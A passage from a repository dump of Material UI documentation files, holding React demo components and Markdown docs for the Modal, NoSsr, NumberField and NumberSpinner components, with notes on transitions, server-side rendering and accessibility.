    "content": "import * as React from 'react';\nimport Backdrop from '@mui/material/Backdrop';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\nimport { useSpring, animated } from '@react-spring/web';\n\ninterface FadeProps {\n  children: React.ReactElement<any>;\n  in?: boolean;\n  onClick?: any;\n  onEnter?: (node: HTMLElement, isAppearing: boolean) => void;\n  onExited?: (node: HTMLElement, isAppearing: boolean) => void;\n  ownerState?: any;\n}\n\nconst Fade = React.forwardRef<HTMLDivElement, FadeProps>(function Fade(props, ref) {\n  const {\n    children,\n    in: open,\n    onClick,\n    onEnter,\n    onExited,\n    ownerState,\n    ...other\n  } = props;\n  const style = useSpring({\n    from: { opacity: 0 },\n    to: { opacity: open ? 1 : 0 },\n    onStart: () => {\n      if (open && onEnter) {\n        onEnter(null as any, true);\n      }\n    },\n    onRest: () => {\n      if (!open && onExited) {\n        onExited(null as any, true);\n      }\n    },\n  });\n\n  return (\n    <animated.div ref={ref} style={style} {...other}>\n      {React.cloneElement(children, { onClick })}\n    </animated.div>\n  );\n});\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function SpringModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        aria-labelledby=\"spring-modal-title\"\n        aria-describedby=\"spring-modal-description\"\n        open={open}\n        onClose={handleClose}\n        closeAfterTransition\n        slots={{ backdrop: Backdrop }}\n        slotProps={{\n          backdrop: { slots: { transition: Fade } },\n        }}\n      >\n        <Fade in={open}>\n          <Box sx={style}>\n            <Typography id=\"spring-modal-title\" variant=\"h6\" component=\"h2\">\n              Text in a modal\n            </Typography>\n            <Typography id=\"spring-modal-description\" sx={{ mt: 2 }}>\n              Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n            </Typography>\n          </Box>\n        </Fade>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/TransitionsModal.js",
    "content": "import * as React from 'react';\nimport Backdrop from '@mui/material/Backdrop';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Fade from '@mui/material/Fade';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function TransitionsModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        aria-labelledby=\"transition-modal-title\"\n        aria-describedby=\"transition-modal-description\"\n        open={open}\n        onClose={handleClose}\n        closeAfterTransition\n        slots={{ backdrop: Backdrop }}\n        slotProps={{\n          backdrop: {\n            timeout: 500,\n          },\n        }}\n      >\n        <Fade in={open}>\n          <Box sx={style}>\n            <Typography id=\"transition-modal-title\" variant=\"h6\" component=\"h2\">\n              Text in a modal\n            </Typography>\n            <Typography id=\"transition-modal-description\" sx={{ mt: 2 }}>\n              Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n            </Typography>\n          </Box>\n        </Fade>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/TransitionsModal.tsx",
    "content": "import * as React from 'react';\nimport Backdrop from '@mui/material/Backdrop';\nimport Box from '@mui/material/Box';\nimport Modal from '@mui/material/Modal';\nimport Fade from '@mui/material/Fade';\nimport Button from '@mui/material/Button';\nimport Typography from '@mui/material/Typography';\n\nconst style = {\n  position: 'absolute',\n  top: '50%',\n  left: '50%',\n  transform: 'translate(-50%, -50%)',\n  width: 400,\n  bgcolor: 'background.paper',\n  border: '2px solid #000',\n  boxShadow: 24,\n  p: 4,\n};\n\nexport default function TransitionsModal() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <div>\n      <Button onClick={handleOpen}>Open modal</Button>\n      <Modal\n        aria-labelledby=\"transition-modal-title\"\n        aria-describedby=\"transition-modal-description\"\n        open={open}\n        onClose={handleClose}\n        closeAfterTransition\n        slots={{ backdrop: Backdrop }}\n        slotProps={{\n          backdrop: {\n            timeout: 500,\n          },\n        }}\n      >\n        <Fade in={open}>\n          <Box sx={style}>\n            <Typography id=\"transition-modal-title\" variant=\"h6\" component=\"h2\">\n              Text in a modal\n            </Typography>\n            <Typography id=\"transition-modal-description\" sx={{ mt: 2 }}>\n              Duis mollis, est non commodo luctus, nisi erat porttitor ligula.\n            </Typography>\n          </Box>\n        </Fade>\n      </Modal>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/modal/modal.md",
    "content": "---\nproductId: material-ui\ntitle: React Modal component\ncomponents: Modal\ngithubLabel: 'scope: modal'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/\ngithubSource: packages/mui-material/src/Modal\n---\n\n# Modal\n\n<p class=\"description\">The modal component provides a solid foundation for creating dialogs, popovers, lightboxes, or whatever else.</p>\n\nThe component renders its `children` node in front of a backdrop component.\nThe `Modal` offers important features:\n\n- 💄 Manages modal stacking when one-at-a-time just isn't enough.\n- 🔐 Creates a backdrop, for disabling interaction below the modal.\n- 🔐 It disables scrolling of the page content while open.\n- ♿️ It properly manages focus; moving to the modal content,\n  and keeping it there until the modal is closed.\n- ♿️ Adds the appropriate ARIA roles automatically.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n:::info\nThe term \"modal\" is sometimes used to mean \"dialog\", but this is a misnomer.\nA modal window describes parts of a UI.\nAn element is considered modal if [it blocks interaction with the rest of the application](https://en.wikipedia.org/wiki/Modal_window).\n:::\n\nIf you are creating a modal dialog, you probably want to use the [Dialog](/material-ui/react-dialog/) component rather than directly using Modal.\nModal is a lower-level construct that is leveraged by the following components:\n\n- [Dialog](/material-ui/react-dialog/)\n- [Drawer](/material-ui/react-drawer/)\n- [Menu](/material-ui/react-menu/)\n- [Popover](/material-ui/react-popover/)\n\n## Basic modal\n\n{{\"demo\": \"BasicModal.js\"}}\n\nNotice that you can disable the outline (often blue or gold) with the `outline: 0` CSS property.\n\n## Nested modal\n\nModals can be nested, for example a select within a dialog, but stacking of more than two modals, or any two modals with a backdrop is discouraged.\n\n{{\"demo\": \"NestedModal.js\"}}\n\n## Transitions\n\nThe open/close state of the modal can be animated with a transition component.\nThis component should respect the following conditions:\n\n- Be a direct child descendent of the modal.\n- Have an `in` prop. This corresponds to the open/close state.\n- Call the `onEnter` callback prop when the enter transition starts.\n- Call the `onExited` callback prop when the exit transition is completed.\n  These two callbacks allow the modal to unmount the child content when closed and fully transitioned.\n\nModal has built-in support for [react-transition-group](https://github.com/reactjs/react-transition-group).\n\n{{\"demo\": \"TransitionsModal.js\"}}\n\nAlternatively, you can use [react-spring](https://github.com/pmndrs/react-spring).\n\n{{\"demo\": \"SpringModal.js\"}}\n\n## Performance\n\nThe content of modal is unmounted when closed.\nIf you need to make the content available to search engines or render expensive component trees inside your modal while optimizing for interaction responsiveness\nit might be a good idea to change this default behavior by enabling the `keepMounted` prop:\n\n```jsx\n<Modal keepMounted />\n```\n\n{{\"demo\": \"KeepMountedModal.js\", \"defaultCodeOpen\": false}}\n\nAs with any performance optimization, this is not a silver bullet.\nBe sure to identify bottlenecks first, and then try out these optimization strategies.\n\n## Server-side modal\n\nReact [doesn't support](https://github.com/facebook/react/issues/13097) the [`createPortal()`](https://react.dev/reference/react-dom/createPortal) API on the server.\nIn order to display the modal, you need to disable the portal feature with the `disablePortal` prop:\n\n{{\"demo\": \"ServerModal.js\"}}\n\n## Limitations\n\n### Focus trap\n\nThe modal moves the focus back to the body of the component if the focus tries to escape it.\n\nThis is done for accessibility purposes. However, it might create issues.\nIn the event the users need to interact with another part of the page, for example with a chatbot window, you can disable the behavior:\n\n```jsx\n<Modal disableEnforceFocus />\n```\n\n## Accessibility\n\n(WAI-ARIA: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/)\n\n- Be sure to add `aria-labelledby=\"id...\"`, referencing the modal title, to the `Modal`.\n  Additionally, you may give a description of your modal with the `aria-describedby=\"id...\"` prop on the `Modal`.\n\n  ```jsx\n  <Modal aria-labelledby=\"modal-title\" aria-describedby=\"modal-description\">\n    <h2 id=\"modal-title\">My Title</h2>\n    <p id=\"modal-description\">My Description</p>\n  </Modal>\n  ```\n\n- The [WAI-ARIA Authoring Practices](https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/examples/dialog/) can help you set the initial focus on the most relevant element, based on your modal content.\n- Keep in mind that a \"modal window\" overlays on either the primary window or another modal window. Windows under a modal are **inert**. That is, users cannot interact with content outside an active modal window. This might create [conflicting behaviors](#focus-trap).\n"
  },
  {
    "path": "docs/data/material/components/no-ssr/FrameDeferring.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport NoSsr from '@mui/material/NoSsr';\n\nfunction LargeTree() {\n  return Array.from(new Array(5000)).map((_, index) => <span key={index}>.</span>);\n}\n\nexport default function FrameDeferring() {\n  const [state, setState] = React.useState({\n    open: false,\n    defer: false,\n  });\n\n  return (\n    <div>\n      <button\n        type=\"button\"\n        onClick={() =>\n          setState({\n            open: !state.open,\n            defer: false,\n          })\n        }\n      >\n        {'Render NoSsr defer=\"false\"'}\n      </button>\n      <br />\n      <button\n        type=\"button\"\n        onClick={() =>\n          setState({\n            open: !state.open,\n            defer: true,\n          })\n        }\n      >\n        {'Render NoSsr defer=\"true\"'}\n      </button>\n      <br />\n      <br />\n      <Box sx={{ width: 300, display: 'flex', flexWrap: 'wrap' }}>\n        {state.open ? (\n          <React.Fragment>\n            <div>Outside NoSsr</div>\n            <NoSsr defer={state.defer}>\n              .....Inside NoSsr\n              <LargeTree />\n            </NoSsr>\n          </React.Fragment>\n        ) : null}\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/no-ssr/FrameDeferring.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport NoSsr from '@mui/material/NoSsr';\n\nfunction LargeTree(): any {\n  return Array.from(new Array(5000)).map((_, index) => <span key={index}>.</span>);\n}\n\nexport default function FrameDeferring() {\n  const [state, setState] = React.useState({\n    open: false,\n    defer: false,\n  });\n\n  return (\n    <div>\n      <button\n        type=\"button\"\n        onClick={() =>\n          setState({\n            open: !state.open,\n            defer: false,\n          })\n        }\n      >\n        {'Render NoSsr defer=\"false\"'}\n      </button>\n      <br />\n      <button\n        type=\"button\"\n        onClick={() =>\n          setState({\n            open: !state.open,\n            defer: true,\n          })\n        }\n      >\n        {'Render NoSsr defer=\"true\"'}\n      </button>\n      <br />\n      <br />\n      <Box sx={{ width: 300, display: 'flex', flexWrap: 'wrap' }}>\n        {state.open ? (\n          <React.Fragment>\n            <div>Outside NoSsr</div>\n            <NoSsr defer={state.defer}>\n              .....Inside NoSsr\n              <LargeTree />\n            </NoSsr>\n          </React.Fragment>\n        ) : null}\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/no-ssr/SimpleNoSsr.js",
    "content": "import NoSsr from '@mui/material/NoSsr';\nimport Box from '@mui/material/Box';\n\nexport default function SimpleNoSsr() {\n  return (\n    <div>\n      <Box sx={{ p: 2, bgcolor: 'primary.main', color: 'primary.contrastText' }}>\n        Server and Client\n      </Box>\n      <NoSsr>\n        <Box\n          sx={{ p: 2, bgcolor: 'secondary.main', color: 'secondary.contrastText' }}\n        >\n          Client only\n        </Box>\n      </NoSsr>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/no-ssr/SimpleNoSsr.tsx",
    "content": "import NoSsr from '@mui/material/NoSsr';\nimport Box from '@mui/material/Box';\n\nexport default function SimpleNoSsr() {\n  return (\n    <div>\n      <Box sx={{ p: 2, bgcolor: 'primary.main', color: 'primary.contrastText' }}>\n        Server and Client\n      </Box>\n      <NoSsr>\n        <Box\n          sx={{ p: 2, bgcolor: 'secondary.main', color: 'secondary.contrastText' }}\n        >\n          Client only\n        </Box>\n      </NoSsr>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/no-ssr/SimpleNoSsr.tsx.preview",
    "content": "<Box sx={{ p: 2, bgcolor: 'primary.main', color: 'primary.contrastText' }}>\n  Server and Client\n</Box>\n<NoSsr>\n  <Box\n    sx={{ p: 2, bgcolor: 'secondary.main', color: 'secondary.contrastText' }}\n  >\n    Client only\n  </Box>\n</NoSsr>"
  },
  {
    "path": "docs/data/material/components/no-ssr/no-ssr.md",
    "content": "---\nproductId: material-ui\ntitle: No SSR React component\ncomponents: NoSsr\n---\n\n# No SSR\n\n<p class=\"description\">The No-SSR component defers the rendering of children components from the server to the client.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\", \"design\": false}}\n\n## Introduction\n\nNo-SSR is a utility component that prevents its children from being rendered on the server, deferring their rendering to the client instead.\nThis can be useful in a variety of situations, including:\n\n- To create an escape hatch for broken dependencies that don't support server-side rendering (SSR)\n- To improve the time to first paint by only rendering above the fold\n- To reduce the rendering time on the server\n- To turn on service degradation when the server load is too heavy\n- To improve the Time to Interactive (TTI) by only rendering what's important (using the `defer` prop)\n\nThe demo below illustrates how this component works:\n\n{{\"demo\": \"SimpleNoSsr.js\"}}\n\n## Basics\n\n### Import\n\n```jsx\nimport NoSsr from '@mui/material/NoSsr';\n```\n\n## Customization\n\n### Delay client-side rendering\n\nYou can also use No-SSR to delay the rendering of specific components on the client-side—for example, to let the rest of the application load before an especially complex or data-heavy component.\n\nThe following demo shows how to use the `defer` prop to prioritize rendering the rest of the app outside of what is nested within No-SSR:\n\n{{\"demo\": \"FrameDeferring.js\"}}\n\n:::warning\nWhen using No-SSR in this way, React applies [two commits](https://react.dev/learn/render-and-commit) instead of one.\n:::\n"
  },
  {
    "path": "docs/data/material/components/number-field/FieldDemo.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport NumberField from './components/NumberField';\n\nexport default function FieldDemo() {\n  return (\n    <Box sx={{ display: 'grid', gap: 4 }}>\n      <NumberField label=\"Number Field\" min={10} max={40} />\n      <NumberField label=\"Number Field (Small)\" size=\"small\" />\n      <NumberField\n        label=\"Number Field with Error\"\n        min={10}\n        max={40}\n        defaultValue={100}\n        size=\"small\"\n        error\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/number-field/FieldDemo.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport NumberField from './components/NumberField';\n\nexport default function FieldDemo() {\n  return (\n    <Box sx={{ display: 'grid', gap: 4 }}>\n      <NumberField label=\"Number Field\" min={10} max={40} />\n      <NumberField label=\"Number Field (Small)\" size=\"small\" />\n      <NumberField\n        label=\"Number Field with Error\"\n        min={10}\n        max={40}\n        defaultValue={100}\n        size=\"small\"\n        error\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/number-field/FieldDemo.tsx.preview",
    "content": "<NumberField label=\"Number Field\" min={10} max={40} />\n<NumberField label=\"Number Field (Small)\" size=\"small\" />\n<NumberField\n  label=\"Number Field with Error\"\n  min={10}\n  max={40}\n  defaultValue={100}\n  size=\"small\"\n  error\n/>"
  },
  {
    "path": "docs/data/material/components/number-field/SpinnerDemo.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport NumberSpinner from './components/NumberSpinner';\n\nexport default function SpinnerDemo() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        gap: 4,\n        justifyContent: 'center',\n      }}\n    >\n      <NumberSpinner label=\"Number Spinner\" min={10} max={40} />\n      <NumberSpinner label=\"Number Spinner (Small)\" size=\"small\" />\n      <NumberSpinner\n        label=\"Spinner with Error\"\n        min={10}\n        max={40}\n        defaultValue={100}\n        size=\"small\"\n        error\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/number-field/SpinnerDemo.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport NumberSpinner from './components/NumberSpinner';\n\nexport default function SpinnerDemo() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        gap: 4,\n        justifyContent: 'center',\n      }}\n    >\n      <NumberSpinner label=\"Number Spinner\" min={10} max={40} />\n      <NumberSpinner label=\"Number Spinner (Small)\" size=\"small\" />\n      <NumberSpinner\n        label=\"Spinner with Error\"\n        min={10}\n        max={40}\n        defaultValue={100}\n        size=\"small\"\n        error\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/number-field/SpinnerDemo.tsx.preview",
    "content": "<NumberSpinner label=\"Number Spinner\" min={10} max={40} />\n<NumberSpinner label=\"Number Spinner (Small)\" size=\"small\" />\n<NumberSpinner\n  label=\"Spinner with Error\"\n  min={10}\n  max={40}\n  defaultValue={100}\n  size=\"small\"\n  error\n/>"
  },
  {
    "path": "docs/data/material/components/number-field/components/NumberField.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { NumberField as BaseNumberField } from '@base-ui/react/number-field';\nimport IconButton from '@mui/material/IconButton';\nimport FormControl from '@mui/material/FormControl';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport InputLabel from '@mui/material/InputLabel';\nimport KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp';\nimport KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';\n\n/**\n * This component is a placeholder for FormControl to correctly set the shrink label state on SSR.\n */\nfunction SSRInitialFilled(_) {\n  return null;\n}\nSSRInitialFilled.muiName = 'Input';\n\nfunction NumberField({ id: idProp, label, error, size = 'medium', ...other }) {\n  let id = React.useId();\n  if (idProp) {\n    id = idProp;\n  }\n  return (\n    <BaseNumberField.Root\n      {...other}\n      render={(props, state) => (\n        <FormControl\n          size={size}\n          ref={props.ref}\n          disabled={state.disabled}\n          required={state.required}\n          error={error}\n          variant=\"outlined\"\n        >\n          {props.children}\n        </FormControl>\n      )}\n    >\n      <SSRInitialFilled {...other} />\n      <InputLabel htmlFor={id}>{label}</InputLabel>\n      <BaseNumberField.Input\n        id={id}\n        render={(props, state) => (\n          <OutlinedInput\n            label={label}\n            inputRef={props.ref}\n            value={state.inputValue}\n            onBlur={props.onBlur}\n            onChange={props.onChange}\n            onKeyUp={props.onKeyUp}\n            onKeyDown={props.onKeyDown}\n            onFocus={props.onFocus}\n            slotProps={{\n              input: props,\n            }}\n            endAdornment={\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  flexDirection: 'column',\n                  maxHeight: 'unset',\n                  alignSelf: 'stretch',\n                  borderLeft: '1px solid',\n                  borderColor: 'divider',\n                  ml: 0,\n                  '& button': {\n                    py: 0,\n                    flex: 1,\n                    borderRadius: 0.5,\n                  },\n                }}\n              >\n                <BaseNumberField.Increment\n                  render={<IconButton size={size} aria-label=\"Increase\" />}\n                >\n                  <KeyboardArrowUpIcon\n                    fontSize={size}\n                    sx={{ transform: 'translateY(2px)' }}\n                  />\n                </BaseNumberField.Increment>\n\n                <BaseNumberField.Decrement\n                  render={<IconButton size={size} aria-label=\"Decrease\" />}\n                >\n                  <KeyboardArrowDownIcon\n                    fontSize={size}\n                    sx={{ transform: 'translateY(-2px)' }}\n                  />\n                </BaseNumberField.Decrement>\n              </InputAdornment>\n            }\n            sx={{ pr: 0 }}\n          />\n        )}\n      />\n      <FormHelperText sx={{ ml: 0, '&:empty': { mt: 0 } }}>\n        Enter value between 10 and 40\n      </FormHelperText>\n    </BaseNumberField.Root>\n  );\n}\n\nNumberField.propTypes = {\n  error: PropTypes.bool,\n  /**\n   * The id of the input element.\n   */\n  id: PropTypes.string,\n  label: PropTypes.node,\n  size: PropTypes.oneOf(['medium', 'small']),\n};\n\nexport default NumberField;\n"
  },
  {
    "path": "docs/data/material/components/number-field/components/NumberField.tsx",
    "content": "import * as React from 'react';\nimport { NumberField as BaseNumberField } from '@base-ui/react/number-field';\nimport IconButton from '@mui/material/IconButton';\nimport FormControl from '@mui/material/FormControl';\nimport FormHelperText from '@mui/material/FormHelperText';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport InputLabel from '@mui/material/InputLabel';\nimport KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp';\nimport KeyboardArrowDownIcon from '@mui/icons-material/KeyboardArrowDown';\n\n/**\n * This component is a placeholder for FormControl to correctly set the shrink label state on SSR.\n */\nfunction SSRInitialFilled(_: BaseNumberField.Root.Props) {\n  return null;\n}\nSSRInitialFilled.muiName = 'Input';\n\nexport default function NumberField({\n  id: idProp,\n  label,\n  error,\n  size = 'medium',\n  ...other\n}: BaseNumberField.Root.Props & {\n  label?: React.ReactNode;\n  size?: 'small' | 'medium';\n  error?: boolean;\n}) {\n  let id = React.useId();\n  if (idProp) {\n    id = idProp;\n  }\n  return (\n    <BaseNumberField.Root\n      {...other}\n      render={(props, state) => (\n        <FormControl\n          size={size}\n          ref={props.ref}\n          disabled={state.disabled}\n          required={state.required}\n          error={error}\n          variant=\"outlined\"\n        >\n          {props.children}\n        </FormControl>\n      )}\n    >\n      <SSRInitialFilled {...other} />\n      <InputLabel htmlFor={id}>{label}</InputLabel>\n      <BaseNumberField.Input\n        id={id}\n        render={(props, state) => (\n          <OutlinedInput\n            label={label}\n            inputRef={props.ref}\n            value={state.inputValue}\n            onBlur={props.onBlur}\n            onChange={props.onChange}\n            onKeyUp={props.onKeyUp}\n            onKeyDown={props.onKeyDown}\n            onFocus={props.onFocus}\n            slotProps={{\n              input: props,\n            }}\n            endAdornment={\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  flexDirection: 'column',\n                  maxHeight: 'unset',\n                  alignSelf: 'stretch',\n                  borderLeft: '1px solid',\n                  borderColor: 'divider',\n                  ml: 0,\n                  '& button': {\n                    py: 0,\n                    flex: 1,\n                    borderRadius: 0.5,\n                  },\n                }}\n              >\n                <BaseNumberField.Increment\n                  render={<IconButton size={size} aria-label=\"Increase\" />}\n                >\n                  <KeyboardArrowUpIcon\n                    fontSize={size}\n                    sx={{ transform: 'translateY(2px)' }}\n                  />\n                </BaseNumberField.Increment>\n\n                <BaseNumberField.Decrement\n                  render={<IconButton size={size} aria-label=\"Decrease\" />}\n                >\n                  <KeyboardArrowDownIcon\n                    fontSize={size}\n                    sx={{ transform: 'translateY(-2px)' }}\n                  />\n                </BaseNumberField.Decrement>\n              </InputAdornment>\n            }\n            sx={{ pr: 0 }}\n          />\n        )}\n      />\n      <FormHelperText sx={{ ml: 0, '&:empty': { mt: 0 } }}>\n        Enter value between 10 and 40\n      </FormHelperText>\n    </BaseNumberField.Root>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/number-field/components/NumberSpinner.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { NumberField as BaseNumberField } from '@base-ui/react/number-field';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport AddIcon from '@mui/icons-material/Add';\nimport RemoveIcon from '@mui/icons-material/Remove';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport OpenInFullIcon from '@mui/icons-material/OpenInFull';\n\nfunction NumberSpinner({ id: idProp, label, error, size = 'medium', ...other }) {\n  let id = React.useId();\n  if (idProp) {\n    id = idProp;\n  }\n  return (\n    <BaseNumberField.Root\n      {...other}\n      render={(props, state) => (\n        <FormControl\n          size={size}\n          ref={props.ref}\n          disabled={state.disabled}\n          required={state.required}\n          error={error}\n          variant=\"outlined\"\n          sx={{\n            '& .MuiButton-root': {\n              borderColor: 'divider',\n              minWidth: 0,\n              bgcolor: 'action.hover',\n              '&:not(.Mui-disabled)': {\n                color: 'text.primary',\n              },\n            },\n          }}\n        >\n          {props.children}\n        </FormControl>\n      )}\n    >\n      <BaseNumberField.ScrubArea\n        render={\n          <Box component=\"span\" sx={{ userSelect: 'none', width: 'max-content' }} />\n        }\n      >\n        <FormLabel\n          htmlFor={id}\n          sx={{\n            display: 'inline-block',\n            cursor: 'ew-resize',\n            fontSize: '0.875rem',\n            color: 'text.primary',\n            fontWeight: 500,\n            lineHeight: 1.5,\n            mb: 0.5,\n          }}\n        >\n          {label}\n        </FormLabel>\n        <BaseNumberField.ScrubAreaCursor>\n          <OpenInFullIcon\n            fontSize=\"small\"\n            sx={{ transform: 'translateY(12.5%) rotate(45deg)' }}\n          />\n        </BaseNumberField.ScrubAreaCursor>\n      </BaseNumberField.ScrubArea>\n      <Box sx={{ display: 'flex' }}>\n        <BaseNumberField.Decrement\n          render={\n            <Button\n              variant=\"outlined\"\n              aria-label=\"Decrease\"\n              size={size}\n              sx={{\n                borderTopRightRadius: 0,\n                borderBottomRightRadius: 0,\n                borderRight: '0px',\n                '&.Mui-disabled': {\n                  borderRight: '0px',\n                },\n              }}\n            />\n          }\n        >\n          <RemoveIcon fontSize={size} />\n        </BaseNumberField.Decrement>\n\n        <BaseNumberField.Input\n          id={id}\n          render={(props, state) => (\n            <OutlinedInput\n              inputRef={props.ref}\n              value={state.inputValue}\n              onBlur={props.onBlur}\n              onChange={props.onChange}\n              onKeyUp={props.onKeyUp}\n              onKeyDown={props.onKeyDown}\n              onFocus={props.onFocus}\n              slotProps={{\n                input: {\n                  ...props,\n                  size:\n                    Math.max(\n                      (other.min?.toString() || '').length,\n                      state.inputValue.length || 1,\n                    ) + 1,\n                  sx: {\n                    textAlign: 'center',\n                  },\n                },\n              }}\n              sx={{ pr: 0, borderRadius: 0, flex: 1 }}\n            />\n          )}\n        />\n        <BaseNumberField.Increment\n          render={\n            <Button\n              variant=\"outlined\"\n              aria-label=\"Increase\"\n              size={size}\n              sx={{\n                borderTopLeftRadius: 0,\n                borderBottomLeftRadius: 0,\n                borderLeft: '0px',\n                '&.Mui-disabled': {\n                  borderLeft: '0px',\n                },\n              }}\n            />\n          }\n        >\n          <AddIcon fontSize={size} />\n        </BaseNumberField.Increment>\n      </Box>\n    </BaseNumberField.Root>\n  );\n}\n\nNumberSpinner.propTypes = {\n  error: PropTypes.bool,\n  /**\n   * The id of the input element.\n   */\n  id: PropTypes.string,\n  label: PropTypes.node,\n  /**\n   * The minimum value of the input element.\n   */\n  min: PropTypes.number,\n  size: PropTypes.oneOf(['medium', 'small']),\n};\n\nexport default NumberSpinner;\n"
  },
  {
    "path": "docs/data/material/components/number-field/components/NumberSpinner.tsx",
    "content": "import * as React from 'react';\nimport { NumberField as BaseNumberField } from '@base-ui/react/number-field';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\nimport AddIcon from '@mui/icons-material/Add';\nimport RemoveIcon from '@mui/icons-material/Remove';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport OpenInFullIcon from '@mui/icons-material/OpenInFull';\n\nexport default function NumberSpinner({\n  id: idProp,\n  label,\n  error,\n  size = 'medium',\n  ...other\n}: BaseNumberField.Root.Props & {\n  label?: React.ReactNode;\n  size?: 'small' | 'medium';\n  error?: boolean;\n}) {\n  let id = React.useId();\n  if (idProp) {\n    id = idProp;\n  }\n  return (\n    <BaseNumberField.Root\n      {...other}\n      render={(props, state) => (\n        <FormControl\n          size={size}\n          ref={props.ref}\n          disabled={state.disabled}\n          required={state.required}\n          error={error}\n          variant=\"outlined\"\n          sx={{\n            '& .MuiButton-root': {\n              borderColor: 'divider',\n              minWidth: 0,\n              bgcolor: 'action.hover',\n              '&:not(.Mui-disabled)': {\n                color: 'text.primary',\n              },\n            },\n          }}\n        >\n          {props.children}\n        </FormControl>\n      )}\n    >\n      <BaseNumberField.ScrubArea\n        render={\n          <Box component=\"span\" sx={{ userSelect: 'none', width: 'max-content' }} />\n        }\n      >\n        <FormLabel\n          htmlFor={id}\n          sx={{\n            display: 'inline-block',\n            cursor: 'ew-resize',\n            fontSize: '0.875rem',\n            color: 'text.primary',\n            fontWeight: 500,\n            lineHeight: 1.5,\n            mb: 0.5,\n          }}\n        >\n          {label}\n        </FormLabel>\n        <BaseNumberField.ScrubAreaCursor>\n          <OpenInFullIcon\n            fontSize=\"small\"\n            sx={{ transform: 'translateY(12.5%) rotate(45deg)' }}\n          />\n        </BaseNumberField.ScrubAreaCursor>\n      </BaseNumberField.ScrubArea>\n      <Box sx={{ display: 'flex' }}>\n        <BaseNumberField.Decrement\n          render={\n            <Button\n              variant=\"outlined\"\n              aria-label=\"Decrease\"\n              size={size}\n              sx={{\n                borderTopRightRadius: 0,\n                borderBottomRightRadius: 0,\n                borderRight: '0px',\n                '&.Mui-disabled': {\n                  borderRight: '0px',\n                },\n              }}\n            />\n          }\n        >\n          <RemoveIcon fontSize={size} />\n        </BaseNumberField.Decrement>\n\n        <BaseNumberField.Input\n          id={id}\n          render={(props, state) => (\n            <OutlinedInput\n              inputRef={props.ref}\n              value={state.inputValue}\n              onBlur={props.onBlur}\n              onChange={props.onChange}\n              onKeyUp={props.onKeyUp}\n              onKeyDown={props.onKeyDown}\n              